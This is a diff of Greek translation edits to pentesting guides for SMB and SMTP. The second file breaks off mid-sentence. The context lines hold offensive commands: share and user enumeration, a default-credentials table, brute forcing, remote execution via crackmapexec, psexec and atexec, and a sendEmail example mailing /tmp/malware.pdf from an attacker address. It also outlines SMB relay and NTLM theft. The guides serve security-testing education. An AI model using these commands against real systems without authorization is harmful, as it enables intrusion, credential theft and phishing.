a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -10,9 +10,9 @@ ``` ## Port 445 -Τεχνικά, το Port 139 αναφέρεται ως ‘NBT over IP’, ενώ το Port 445 αναγνωρίζεται ως ‘SMB over IP’. Το ακρωνύμιο **SMB** σημαίνει ‘**Server Message Blocks**’, το οποίο είναι επίσης σύγχρονα γνωστό ως το **Common Internet File System (CIFS)**. Ως πρωτόκολλο δικτύου επιπέδου εφαρμογής, το SMB/CIFS χρησιμοποιείται κυρίως για να επιτρέπει κοινή πρόσβαση σε αρχεία, εκτυπωτές, σειριακές θύρες και διευκολύνει διάφορες μορφές επικοινωνίας μεταξύ κόμβων σε ένα δίκτυο. +Τεχνικά, η Θύρα 139 αναφέρεται ως ‘NBT over IP’, ενώ η Θύρα 445 αναγνωρίζεται ως ‘SMB over IP’. Το ακρωνύμιο **SMB** σημαίνει ‘**Server Message Blocks**’, το οποίο είναι επίσης σύγχρονα γνωστό ως το **Common Internet File System (CIFS)**. Ως πρωτόκολλο δικτύου επιπέδου εφαρμογής, το SMB/CIFS χρησιμοποιείται κυρίως για να επιτρέπει κοινή πρόσβαση σε αρχεία, εκτυπωτές, σειριακές θύρες και να διευκολύνει διάφορες μορφές επικοινωνίας μεταξύ κόμβων σε ένα δίκτυο. -Για παράδειγμα, στο πλαίσιο των Windows, τονίζεται ότι το SMB μπορεί να λειτουργεί απευθείας πάνω από TCP/IP, εξαλείφοντας την ανάγκη για NetBIOS πάνω από TCP/IP, μέσω της χρήσης της θύρας 445. Αντίθετα, σε διάφορα συστήματα, παρατηρείται η χρήση της θύρας 139, υποδεικνύοντας ότι το SMB εκτελείται σε συνδυασμό με το NetBIOS πάνω από TCP/IP. +Για παράδειγμα, στο πλαίσιο των Windows, επισημαίνεται ότι το SMB μπορεί να λειτουργεί απευθείας πάνω από TCP/IP, εξαλείφοντας την ανάγκη για NetBIOS πάνω από TCP/IP, μέσω της χρήσης της θύρας 445. Αντίθετα, σε διάφορα συστήματα, παρατηρείται η χρήση της θύρας 139, υποδεικνύοντας ότι το SMB εκτελείται σε συνδυασμό με το NetBIOS πάνω από TCP/IP. ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` @@ -26,13 +26,13 @@ Η πρόσβαση στην κοινή χρήση IPC$ μπορεί να αποκτηθεί μέσω μιας ανώνυμης κενής συνεδρίας, επιτρέποντας την αλληλεπίδραση με υπηρεσίες που εκτίθενται μέσω ονομασμένων σωλήνων. Το εργαλείο `enum4linux` είναι χρήσιμο για αυτό το σκοπό. Χρησιμοποιούμενο σωστά, επιτρέπει την απόκτηση: -- Πληροφοριών σχετικά με το λειτουργικό σύστημα -- Λεπτομερειών σχετικά με το γονικό τομέα +- Πληροφοριών για το λειτουργικό σύστημα +- Λεπτομερειών για το γονικό τομέα - Συγκέντρωσης τοπικών χρηστών και ομάδων -- Πληροφοριών σχετικά με τις διαθέσιμες κοινές χρήσεις SMB +- Πληροφοριών για διαθέσιμες κοινές χρήσεις SMB - Της αποτελεσματικής πολιτικής ασφάλειας του συστήματος -Αυτή η λειτουργικότητα είναι κρίσιμη για τους διαχειριστές δικτύου και τους επαγγελματίες ασφάλειας για να αξιολογήσουν τη θέση ασφάλειας των υπηρεσιών SMB (Server Message Block) σε ένα δίκτυο. Το `enum4linux` παρέχει μια ολοκληρωμένη εικόνα του περιβάλλοντος SMB του στοχευόμενου συστήματος, που είναι απαραίτητη για την αναγνώριση πιθανών ευπαθειών και τη διασφάλιση ότι οι υπηρεσίες SMB είναι σωστά ασφαλισμένες. +Αυτή η λειτουργικότητα είναι κρίσιμη για τους διαχειριστές δικτύου και τους επαγγελματίες ασφάλειας για να αξιολογήσουν την ασφάλεια των υπηρεσιών SMB (Server Message Block) σε ένα δίκτυο. Το `enum4linux` παρέχει μια ολοκληρωμένη εικόνα του περιβάλλοντος SMB του στοχευόμενου συστήματος, που είναι απαραίτητη για την αναγνώριση πιθανών ευπαθειών και τη διασφάλιση ότι οι υπηρεσίες SMB είναι σωστά ασφαλισμένες. ```bash enum4linux -a target_ip ``` @@ -79,17 +79,17 @@ echo "" && sleep .1 msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb ``` -### **Πιθανά** Διαπιστευτήρια +### **Πιθανές** Διαπιστώσεις | **Όνομα χρήστη(ες)** | **Κοινές κωδικοί πρόσβασης** | -| -------------------- | ----------------------------------------- | -| _(κενό)_ | _(κενό)_ | -| guest | _(κενό)_ | -| Administrator, admin | _(κενό)_, password, administrator, admin | -| arcserve | arcserve, backup | -| tivoli, tmersrvd | tivoli, tmersrvd, admin | -| backupexec, backup | backupexec, backup, arcada | -| test, lab, demo | password, test, lab, demo | +| --------------------- | ------------------------------------------ | +| _(κενό)_ | _(κενό)_ | +| guest | _(κενό)_ | +| Administrator, admin | _(κενό)_, password, administrator, admin | +| arcserve | arcserve, backup | +| tivoli, tmersrvd | tivoli, tmersrvd, admin | +| backupexec, backup | backupexec, backup, arcada | +| test, lab, demo | password, test, lab, demo | ### Brute Force @@ -121,7 +121,7 @@ rpcclient -U "username%passwd" #With creds ``` ### Enumerate Users, Groups & Logged On Users -Αυτές οι πληροφορίες θα πρέπει ήδη να έχουν συγκεντρωθεί από το enum4linux και το enum4linux-ng. +Αυτές οι πληροφορίες θα πρέπει ήδη να έχουν συλλεχθεί από το enum4linux και enum4linux-ng ```bash crackmapexec smb 10.10.10.10 --users [-u -p ] crackmapexec smb 10.10.10.10 --groups [-u -p ] @@ -151,6 +151,7 @@ run ``` ### **Αναγνώριση LSARPC και SAMR rpcclient** + {{#ref}} rpcclient-enumeration.md {{#endref}} @@ -294,7 +295,7 @@ smbclient /// - mask: καθορίζει τη μάσκα που χρησιμοποιείται για να φιλτράρει τα αρχεία μέσα στον κατάλογο (π.χ. "" για όλα τα αρχεία) - recurse: ενεργοποιεί την αναδρομή (προεπιλογή: απενεργοποιημένη) - prompt: απενεργοποιεί την προτροπή για ονόματα αρχείων (προεπιλογή: ενεργοποιημένη) -- mget: αντιγράφει όλα τα αρχεία που ταιριάζουν με τη μάσκα από τον διακομιστή στη μηχανή του πελάτη +- mget: αντιγράφει όλα τα αρχεία που ταιριάζουν με τη μάσκα από τον κεντρικό υπολογιστή στη μηχανή του πελάτη (_Πληροφορίες από τη σελίδα man του smbclient_) @@ -310,11 +311,11 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -Ιδιαίτερα ενδιαφέρον από τις κοινές είναι τα αρχεία που ονομάζονται **`Registry.xml`** καθώς **μπορεί να περιέχουν κωδικούς πρόσβασης** για χρήστες που έχουν ρυθμιστεί με **autologon** μέσω Πολιτικής Ομάδας. Ή τα αρχεία **`web.config`** καθώς περιέχουν διαπιστευτήρια. +Ιδιαίτερα ενδιαφέροντα από τις κοινές διανομές είναι τα αρχεία που ονομάζονται **`Registry.xml`** καθώς **μπορεί να περιέχουν κωδικούς πρόσβασης** για χρήστες που έχουν ρυθμιστεί με **autologon** μέσω Πολιτικής Ομάδας. Ή τα αρχεία **`web.config`** καθώς περιέχουν διαπιστευτήρια. -> [!NOTE] -> Η **κοινή χρήση SYSVOL** είναι **αναγνώσιμη** από όλους τους αυθεντικοποιημένους χρήστες στο τομέα. Εκεί μπορείτε να **βρείτε** πολλές διαφορετικές παρτίδες, VBScript και PowerShell **σενάρια**.\ -> Πρέπει να **ελέγξετε** τα **σενάρια** μέσα σε αυτό καθώς μπορεί να **βρείτε** ευαίσθητες πληροφορίες όπως **κωδικούς πρόσβασης**. +> [!TIP] +> Η **κοινή χρήση SYSVOL** είναι **αναγνώσιμη** από όλους τους αυθεντικοποιημένους χρήστες στο τομέα. Εκεί μπορείτε να **βρείτε** πολλά διαφορετικά batch, VBScript και PowerShell **scripts**.\ +> Πρέπει να **ελέγξετε** τα **scripts** μέσα σε αυτό καθώς μπορεί να **βρείτε** ευαίσθητες πληροφορίες όπως **κωδικούς πρόσβασης**. ## Ανάγνωση Μητρώου @@ -330,7 +331,7 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 | **Ρύθμιση** | **Περιγραφή** | | --------------------------- | ------------------------------------------------------------------- | -| `browseable = yes` | Επιτρέπεται η καταγραφή των διαθέσιμων κοινών πόρων στην τρέχουσα κοινή χρήση; | +| `browseable = yes` | Επιτρέπεται η καταγραφή διαθέσιμων κοινών πόρων στην τρέχουσα κοινή χρήση; | | `read only = no` | Απαγορεύεται η δημιουργία και η τροποποίηση αρχείων; | | `writable = yes` | Επιτρέπεται στους χρήστες να δημιουργούν και να τροποποιούν αρχεία; | | `guest ok = yes` | Επιτρέπεται η σύνδεση στην υπηρεσία χωρίς τη χρήση κωδικού πρόσβασης; | @@ -341,7 +342,7 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 | `magic script = script.sh` | Ποιο σενάριο πρέπει να εκτελείται όταν κλείνει το σενάριο; | | `magic output = script.out` | Πού πρέπει να αποθηκεύεται η έξοδος του μαγικού σεναρίου; | -Η εντολή `smbstatus` παρέχει πληροφορίες σχετικά με τον **server** και για **ποιοι είναι συνδεδεμένοι**. +Η εντολή `smbstatus` παρέχει πληροφορίες σχετικά με τον **server** και για **ποιος είναι συνδεδεμένος**. ## Authenticate using Kerberos @@ -354,7 +355,7 @@ rpcclient -k ws01win10.domain.com ### **crackmapexec** -crackmapexec μπορεί να εκτελέσει εντολές **καταχρώντας** οποιοδήποτε από **mmcexec, smbexec, atexec, wmiexec** με το **wmiexec** να είναι η **προεπιλεγμένη** μέθοδος. Μπορείτε να υποδείξετε ποια επιλογή προτιμάτε να χρησιμοποιήσετε με την παράμετρο `--exec-method`: +crackmapexec μπορεί να εκτελέσει εντολές **καταχρώντας** οποιαδήποτε από τις **mmcexec, smbexec, atexec, wmiexec**, με το **wmiexec** να είναι η **προεπιλεγμένη** μέθοδος. Μπορείτε να υποδείξετε ποια επιλογή προτιμάτε να χρησιμοποιήσετε με την παράμετρο `--exec-method`: ```bash apt-get install crackmapexec @@ -415,20 +416,20 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass ./atexec.py [[domain/]username[:password]@] "command" ./atexec.py -hashes administrator@10.10.10.175 "whoami" ``` -## Impacket reference +## Impacket αναφορά [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) -## **Bruteforce χρήστες διαπιστευτήρια** +## **Bruteforce διαπιστευτήρια χρηστών** -**Αυτό δεν συνιστάται, μπορεί να αποκλείσετε έναν λογαριασμό αν υπερβείτε τις μέγιστες επιτρεπόμενες προσπάθειες** +**Αυτό δεν συνιστάται, μπορεί να μπλοκάρετε έναν λογαριασμό αν ξεπεράσετε τις μέγιστες επιτρεπόμενες προσπάθειες** ```bash nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ``` ## SMB relay attack -Αυτή η επίθεση χρησιμοποιεί το Responder toolkit για να **καταγράψει τις συνεδρίες αυθεντικοποίησης SMB** σε ένα εσωτερικό δίκτυο και να τις **μεταφέρει** σε μια **στόχο μηχανή**. Εάν η **συνεδρία αυθεντικοποίησης είναι επιτυχής**, θα σας ρίξει αυτόματα σε ένα **σύστημα** **shell**.\ +Αυτή η επίθεση χρησιμοποιεί το εργαλείο Responder για να **καταγράψει τις συνεδρίες αυθεντικοποίησης SMB** σε ένα εσωτερικό δίκτυο και να τις **μεταφέρει** σε μια **στόχο μηχανή**. Εάν η **συνεδρία αυθεντικοποίησης είναι επιτυχής**, θα σας ρίξει αυτόματα σε ένα **σύστημα** **shell**.\ [**Περισσότερες πληροφορίες σχετικά με αυτή την επίθεση εδώ.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap @@ -452,7 +453,7 @@ ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid ## NTLM Theft -Παρόμοια με το SMB Trapping, η τοποθέτηση κακόβουλων αρχείων σε ένα σύστημα στόχο (μέσω SMB, για παράδειγμα) μπορεί να προκαλέσει μια προσπάθεια αυθεντικοποίησης SMB, επιτρέποντας την παγίδευση του NetNTLMv2 hash με ένα εργαλείο όπως το Responder. Το hash μπορεί στη συνέχεια να σπάσει εκτός σύνδεσης ή να χρησιμοποιηθεί σε μια [SMB relay attack](#smb-relay-attack). +Παρόμοια με το SMB Trapping, η τοποθέτηση κακόβουλων αρχείων σε ένα σύστημα στόχο (μέσω SMB, για παράδειγμα) μπορεί να προκαλέσει μια προσπάθεια αυθεντικοποίησης SMB, επιτρέποντας την παγίδευση του hash NetNTLMv2 με ένα εργαλείο όπως το Responder. Το hash μπορεί στη συνέχεια να σπάσει εκτός σύνδεσης ή να χρησιμοποιηθεί σε μια [SMB relay attack](#smb-relay-attack). [Δείτε: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) diff --git a/src/network-services-pentesting/pentesting-smtp/README.md b/src/network-services-pentesting/pentesting-smtp/README.md index 64f84c2d9..406b8b88b 100644 --- a/src/network-services-pentesting/pentesting-smtp/README.md +++ b/src/network-services-pentesting/pentesting-smtp/README.md @@ -17,7 +17,7 @@ PORT STATE SERVICE REASON VERSION Αν έχετε την ευκαιρία να **κάνετε το θύμα να σας στείλει ένα email** (μέσω της φόρμας επικοινωνίας της ιστοσελίδας για παράδειγμα), κάντε το γιατί **μπορείτε να μάθετε για την εσωτερική τοπολογία** του θύματος βλέποντας τα headers του email. -Μπορείτε επίσης να λάβετε ένα email από έναν SMTP server προσπαθώντας να **στείλετε σε αυτόν τον server ένα email σε μια ανύπαρκτη διεύθυνση** (γιατί ο server θα στείλει στον επιτιθέμενο ένα NDN email). Αλλά, βεβαιωθείτε ότι στέλνετε το email από μια επιτρεπόμενη διεύθυνση (ελέγξτε την πολιτική SPF) και ότι μπορείτε να λάβετε NDN μηνύματα. +Μπορείτε επίσης να λάβετε ένα email από έναν SMTP server προσπαθώντας να **στείλετε σε αυτόν τον server ένα email σε μια ανύπαρκτη διεύθυνση** (γιατί ο server θα στείλει στον επιτιθέμενο ένα NDN mail). Αλλά, βεβαιωθείτε ότι στέλνετε το email από μια επιτρεπόμενη διεύθυνση (ελέγξτε την πολιτική SPF) και ότι μπορείτε να λάβετε NDN μηνύματα. Πρέπει επίσης να προσπαθήσετε να **στείλετε διαφορετικά περιεχόμενα γιατί μπορείτε να βρείτε πιο ενδιαφέρουσες πληροφορίες** στα headers όπως: `X-Virus-Scanned: by av.domain.com`\ Πρέπει να στείλετε το αρχείο δοκιμής EICAR.\ @@ -150,11 +150,11 @@ Nmap: nmap --script smtp-enum-users ``` ## DSN Reports -**Αναφορές Κατάστασης Παράδοσης**: Εάν στείλετε ένα **email** σε έναν οργανισμό σε μια **μη έγκυρη διεύθυνση**, ο οργανισμός θα σας ειδοποιήσει ότι η διεύθυνση ήταν μη έγκυρη στέλνοντας ένα **mail πίσω σε εσάς**. **Headers** του επιστρεφόμενου email θα **περιέχουν** πιθανές **ευαίσθητες πληροφορίες** (όπως η διεύθυνση IP των υπηρεσιών email που αλληλεπίδρασαν με τις αναφορές ή πληροφορίες λογισμικού antivirus). +**Αναφορές Κατάστασης Παράδοσης**: Εάν στείλετε ένα **email** σε έναν οργανισμό σε μια **μη έγκυρη διεύθυνση**, ο οργανισμός θα σας ειδοποιήσει ότι η διεύθυνση ήταν μη έγκυρη στέλνοντας ένα **mail πίσω σε εσάς**. Οι **επικεφαλίδες** του επιστρεφόμενου email θα **περιέχουν** πιθανές **ευαίσθητες πληροφορίες** (όπως η διεύθυνση IP των υπηρεσιών email που αλληλεπίδρασαν με τις αναφορές ή πληροφορίες λογισμικού antivirus). ## [Commands](smtp-commands.md) -### Sending an Email from linux console +### Αποστολή ενός Email από την κονσόλα linux ```bash sendEmail -t to@domain.com -f from@attacker.com -s -u "Important subject" -a /tmp/malware.pdf Reading message body from STDIN because the '-m' option was not used. @@ -235,7 +235,7 @@ smtp-smuggling.md > [!CAUTION] > Το SPF [ήταν "παρωχημένο" το 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Αυτό σημαίνει ότι αντί να δημιουργήσετε μια **εγγραφή TXT** στο `_spf.domain.com`, τη δημιουργείτε στο `domain.com` χρησιμοποιώντας την **ίδια σύνταξη**.\ -> Επιπλέον, για να επαναχρησιμοποιήσετε προηγούμενες εγγραφές spf, είναι αρκετά κοινό να βρείτε κάτι σαν `"v=spf1 include:_spf.google.com ~all"` +> Επιπλέον, για να επαναχρησιμοποιήσετε προηγούμενες εγγραφές spf, είναι αρκετά συνηθισμένο να βρείτε κάτι σαν `"v=spf1 include:_spf.google.com ~all"` **Sender Policy Framework** (SPF) είναι ένας μηχανισμός που επιτρέπει στους Mail Transfer Agents (MTAs) να επαληθεύουν αν ένας host που στέλνει ένα email είναι εξουσιοδοτημένος, ερωτώντας μια λίστα εξουσιοδοτημένων mail servers που ορίζονται από τους οργανισμούς. Αυτή η λίστα, η οποία καθορίζει διευθύνσεις IP/εύρη, τομείς και άλλες οντότητες **εξουσιοδοτημένες να στέλνουν email εκ μέρους ενός ονόματος τομέα**, περιλαμβάνει διάφορους "**Μηχανισμούς**" στην εγγραφή SPF. @@ -245,17 +245,17 @@ smtp-smuggling.md | Μηχανισμός | Περιγραφή | | ----------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| ALL | Ταιριάζει πάντα; χρησιμοποιείται για ένα προεπιλεγμένο αποτέλεσμα όπως το `-all` για όλες τις IP που δεν ταιριάζουν με τους προηγούμενους μηχανισμούς. | +| ALL | Ταιριάζει πάντα; χρησιμοποιείται για ένα προεπιλεγμένο αποτέλεσμα όπως το `-all` για όλες τις IP που δεν ταιριάζουν με προηγούμενους μηχανισμούς. | | A | Αν το όνομα τομέα έχει μια εγγραφή διεύθυνσης (A ή AAAA) που μπορεί να επιλυθεί στη διεύθυνση του αποστολέα, θα ταιριάξει. | -| IP4 | Αν ο αποστολέας είναι σε μια δεδομένη περιοχή διευθύνσεων IPv4, ταιριάζει. | -| IP6 | Αν ο αποστολέας είναι σε μια δεδομένη περιοχή διευθύνσεων IPv6, ταιριάζει. | +| IP4 | Αν ο αποστολέας είναι σε μια δεδομένη περιοχή διευθύνσεων IPv4, ταιριάξτε. | +| IP6 | Αν ο αποστολέας είναι σε μια δεδομένη περιοχή διευθύνσεων IPv6, ταιριάξτε. | | MX | Αν το όνομα τομέα έχει μια εγγραφή MX που επιλύεται στη διεύθυνση του αποστολέα, θα ταιριάξει (δηλαδή, το email προέρχεται από έναν από τους εισερχόμενους mail servers του τομέα). | -| PTR | Αν το όνομα τομέα (εγγραφή PTR) για τη διεύθυνση του πελάτη είναι στον δεδομένο τομέα και αυτό το όνομα τομέα επιλύεται στη διεύθυνση του πελάτη (forward-confirmed reverse DNS), ταιριάζει. Αυτός ο μηχανισμός αποθαρρύνεται και θα πρέπει να αποφεύγεται, αν είναι δυνατόν. | -| EXISTS | Αν το δεδομένο όνομα τομέα επιλύεται σε οποιαδήποτε διεύθυνση, ταιριάζει (δεν έχει σημασία ποια διεύθυνση επιλύεται). Αυτό χρησιμοποιείται σπάνια. Μαζί με τη γλώσσα μακροεντολών SPF προσφέρει πιο σύνθετους ταιριάσματα όπως DNSBL-queries. | -| INCLUDE | Αναφέρεται στην πολιτική ενός άλλου τομέα. Αν η πολιτική αυτού του τομέα περάσει, αυτός ο μηχανισμός περνά. Ωστόσο, αν η συμπεριλαμβανόμενη πολιτική αποτύχει, η επεξεργασία συνεχίζεται. Για να ανατεθεί πλήρως σε μια πολιτική άλλου τομέα, θα πρέπει να χρησιμοποιηθεί η επέκταση ανακατεύθυνσης. | -| REDIRECT |

Μια ανακατεύθυνση είναι ένας δείκτης σε ένα άλλο όνομα τομέα που φιλοξενεί μια πολιτική SPF, επιτρέπει σε πολλούς τομείς να μοιράζονται την ίδια πολιτική SPF. Είναι χρήσιμη όταν εργάζεστε με μεγάλο αριθμό τομέων που μοιράζονται την ίδια υποδομή email.

Η πολιτική SPF του τομέα που υποδεικνύεται στην ανακατεύθυνση θα χρησιμοποιηθεί.

| +| PTR | Αν το όνομα τομέα (εγγραφή PTR) για τη διεύθυνση του πελάτη είναι στον δεδομένο τομέα και αυτό το όνομα τομέα επιλύεται στη διεύθυνση του πελάτη (forward-confirmed reverse DNS), ταιριάξτε. Αυτός ο μηχανισμός αποθαρρύνεται και θα πρέπει να αποφεύγεται, αν είναι δυνατόν. | +| EXISTS | Αν το δεδομένο όνομα τομέα επιλύεται σε οποιαδήποτε διεύθυνση, ταιριάξτε (δεν έχει σημασία ποια διεύθυνση επιλύεται). Αυτό χρησιμοποιείται σπάνια. Μαζί με τη γλώσσα μακροεντολών SPF προσφέρει πιο σύνθετους ταιριάσματος όπως DNSBL-queries. | +| INCLUDE | Αναφέρεται στην πολιτική ενός άλλου τομέα. Αν η πολιτική αυτού του τομέα περάσει, αυτός ο μηχανισμός περνά. Ωστόσο, αν η συμπεριλαμβανόμενη πολιτική αποτύχει, η επεξεργασία συνεχίζεται. Για να ανατεθεί πλήρως σε μια πολιτική άλλου τομέα, πρέπει να χρησιμοποιηθεί η επέκταση ανακατεύθυνσης. | +| REDIRECT |

Μια ανακατεύθυνση είναι ένας δείκτης σε ένα άλλο όνομα τομέα που φιλοξενεί μια πολιτική SPF, επιτρέπει σε πολλούς τομείς να μοιράζονται την ίδια πολιτική SPF. Είναι χρήσιμο όταν εργάζεστε με μεγάλο αριθμό τομέων που μοιράζονται την ίδια υποδομή email.

Η πολιτική SPF του τομέα που υποδεικνύεται στη μηχανισμό ανακατεύθυνσης θα χρησιμοποιηθεί.

| -Είναι επίσης δυνατό να προσδιοριστούν **Ποιοτικοί δείκτες** που υποδεικνύουν **τι θα πρέπει να γίνει αν ταιριάξει ένας μηχανισμός**. Από προεπιλογή, χρησιμοποιείται ο **ποιοτικός δείκτης "+"** (έτσι αν ταιριάξει οποιοσδήποτε μηχανισμός, αυτό σημαίνει ότι επιτρέπεται).\ +Είναι επίσης δυνατό να προσδιοριστούν **Ποιοτικοί δείκτες** που υποδεικνύουν **τι πρέπει να γίνει αν ταιριάξει ένας μηχανισμός**. Από προεπιλογή, χρησιμοποιείται ο **ποιοτικός δείκτης "+"** (έτσι αν ταιριάξει οποιοσδήποτε μηχανισμός, αυτό σημαίνει ότι επιτρέπεται).\ Συνήθως θα παρατηρήσετε **στο τέλος κάθε πολιτικής SPF** κάτι σαν: **\~all** ή **-all**. Αυτό χρησιμοποιείται για να υποδείξει ότι **αν ο αποστολέας δεν ταιριάζει με καμία πολιτική SPF, θα πρέπει να επισημανθεί το email ως μη αξιόπιστο (\~) ή να απορριφθεί (-) το email.** #### Ποιοτικοί δείκτες @@ -264,7 +264,7 @@ smtp-smuggling.md - **`+`**: Αντιστοιχεί σε ένα αποτέλεσμα PASS. Από προεπιλογή, οι μηχανισμοί υποθέτουν αυτόν τον ποιοτικό δείκτη, κάνοντάς το `+mx` ισοδύναμο με `mx`. - **`?`**: Αντιπροσωπεύει ένα αποτέλεσμα NEUTRAL, που αντιμετωπίζεται παρόμοια με το NONE (καμία συγκεκριμένη πολιτική). -- **`~`**: Υποδηλώνει SOFTFAIL, λειτουργώντας ως ενδιάμεσος όρος μεταξύ NEUTRAL και FAIL. Τα emails που πληρούν αυτό το αποτέλεσμα γίνονται συνήθως αποδεκτά αλλά επισημαίνονται αναλόγως. +- **`~`**: Υποδηλώνει SOFTFAIL, λειτουργώντας ως ενδιάμεσος χώρος μεταξύ NEUTRAL και FAIL. Τα emails που πληρούν αυτό το αποτέλεσμα γίνονται συνήθως αποδεκτά αλλά επισημαίνονται αναλόγως. - **`-`**: Υποδηλώνει FAIL, προτείνοντας ότι το email θα πρέπει να απορριφθεί εντελώς. Στο επόμενο παράδειγμα, απεικονίζεται η **πολιτική SPF του google.com**. Σημειώστε την συμπερίληψη πολιτικών SPF από διαφορετικούς τομείς εντός της πρώτης πολιτικής SPF: @@ -294,7 +294,7 @@ _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:1 Το DKIM χρησιμοποιείται για να υπογράφει τα εξερχόμενα emails, επιτρέποντας την επικύρωσή τους από εξωτερικούς Mail Transfer Agents (MTAs) μέσω της ανάκτησης του δημόσιου κλειδιού του τομέα από το DNS. Αυτό το δημόσιο κλειδί βρίσκεται στο TXT record ενός τομέα. Για να αποκτήσετε αυτό το κλειδί, πρέπει να γνωρίζετε τόσο τον επιλεγέα όσο και το όνομα του τομέα. -Για παράδειγμα, για να ζητήσετε το κλειδί, το όνομα του τομέα και ο επιλεγέας είναι απαραίτητα. Αυτά μπορούν να βρεθούν στην κεφαλίδα του email `DKIM-Signature`, π.χ., `d=gmail.com;s=20120113`. +Για παράδειγμα, για να ζητήσετε το κλειδί, το όνομα του τομέα και ο επιλεγέας είναι απαραίτητα. Αυτά μπορούν να βρεθούν στην κεφαλίδα email `DKIM-Signature`, π.χ., `d=gmail.com;s=20120113`. Μια εντολή για να ανακτήσετε αυτές τις πληροφορίες μπορεί να μοιάζει με: ```bash @@ -304,9 +304,9 @@ dig 20120113._domainkey.gmail.com TXT | grep p= ``` ### DMARC (Domain-based Message Authentication, Reporting & Conformance) -Το DMARC ενισχύει την ασφάλεια των email βασιζόμενο στα πρωτόκολλα SPF και DKIM. Περιγράφει πολιτικές που καθοδηγούν τους mail servers στη διαχείριση των email από έναν συγκεκριμένο τομέα, συμπεριλαμβανομένου του τρόπου αντιμετώπισης αποτυχιών αυθεντικοποίησης και του πού να στέλνονται οι αναφορές σχετικά με τις ενέργειες επεξεργασίας email. +Το DMARC ενισχύει την ασφάλεια των email βασιζόμενο στα πρωτόκολλα SPF και DKIM. Καθορίζει πολιτικές που καθοδηγούν τους mail servers στη διαχείριση των email από μια συγκεκριμένη τομέα, συμπεριλαμβανομένου του τρόπου διαχείρισης αποτυχιών αυθεντικοποίησης και πού να στέλνουν αναφορές σχετικά με τις ενέργειες επεξεργασίας email. -**Για να αποκτήσετε το DMARC record, πρέπει να κάνετε query τον υποτομέα \_dmarc** +**Για να αποκτήσετε το DMARC record, πρέπει να κάνετε query το υποτομέα \_dmarc** ```bash # Reject dig _dmarc.facebook.com txt | grep DMARC @@ -341,15 +341,15 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA > Η Ερώτηση του Demon: Τι γίνεται με τους υποτομείς; > -> Αν λάβω email από pielovers.demon.co.uk, και δεν υπάρχουν δεδομένα SPF για pielovers, πρέπει να επιστρέψω ένα επίπεδο και να ελέγξω το SPF για demon.co.uk; Όχι. Κάθε υποτομέας στο Demon είναι διαφορετικός πελάτης, και κάθε πελάτης μπορεί να έχει τη δική του πολιτική. Δεν θα είχε νόημα η πολιτική του Demon να ισχύει για όλους τους πελάτες του από προεπιλογή; Αν το Demon θέλει να το κάνει αυτό, μπορεί να ρυθμίσει SPF records για κάθε υποτομέα. +> Αν λάβω email από το pielovers.demon.co.uk, και δεν υπάρχουν δεδομένα SPF για το pielovers, πρέπει να επιστρέψω ένα επίπεδο και να ελέγξω το SPF για το demon.co.uk; Όχι. Κάθε υποτομέας στο Demon είναι διαφορετικός πελάτης, και κάθε πελάτης μπορεί να έχει τη δική του πολιτική. Δεν θα είχε νόημα η πολιτική του Demon να ισχύει για όλους τους πελάτες του από προεπιλογή; Αν το Demon θέλει να το κάνει αυτό, μπορεί να ρυθμίσει SPF records για κάθε υποτομέα. > > Έτσι, η συμβουλή προς τους εκδότες SPF είναι αυτή: θα πρέπει να προσθέσετε ένα SPF record για κάθε υποτομέα ή hostname που έχει A ή MX record. > -> Οι ιστότοποι με wildcard A ή MX records θα πρέπει επίσης να έχουν ένα wildcard SPF record, της μορφής: \* IN TXT "v=spf1 -all" +> Ιστοσελίδες με wildcard A ή MX records θα πρέπει επίσης να έχουν ένα wildcard SPF record, της μορφής: \* IN TXT "v=spf1 -all" -Αυτό έχει νόημα - ένας υποτομέας μπορεί πολύ καλά να βρίσκεται σε διαφορετική γεωγραφική τοποθεσία και να έχει πολύ διαφορετικό ορισμό SPF. +Αυτό έχει νόημα - ένας υποτομέας μπορεί να βρίσκεται σε διαφορετική γεωγραφική τοποθεσία και να έχει πολύ διαφορετικό ορισμό SPF. -### **Ανοιχτό Relay** +### **Ανοιχτός Relay** Όταν αποστέλλονται emails, η διασφάλιση ότι δεν θα χαρακτηριστούν ως spam είναι κρίσιμη. Αυτό συχνά επιτυγχάνεται μέσω της χρήσης ενός **relay server που είναι αξιόπιστος από τον παραλήπτη**. Ωστόσο, μια κοινή πρόκληση είναι ότι οι διαχειριστές μπορεί να μην είναι πλήρως ενήμεροι για το ποιες **IP διευθύνσεις είναι ασφαλείς να επιτραπούν**. Αυτή η έλλειψη κατανόησης μπορεί να οδηγήσει σε λάθη στη ρύθμιση του SMTP server, ένας κίνδυνος που συχνά εντοπίζεται σε αξιολογήσεις ασφάλειας. @@ -357,7 +357,7 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA ```bash mynetworks = 0.0.0.0/0 ``` -Για να ελέγξετε αν ένας διακομιστής αλληλογραφίας είναι ανοιχτός διαμεσολαβητής (που σημαίνει ότι θα μπορούσε να 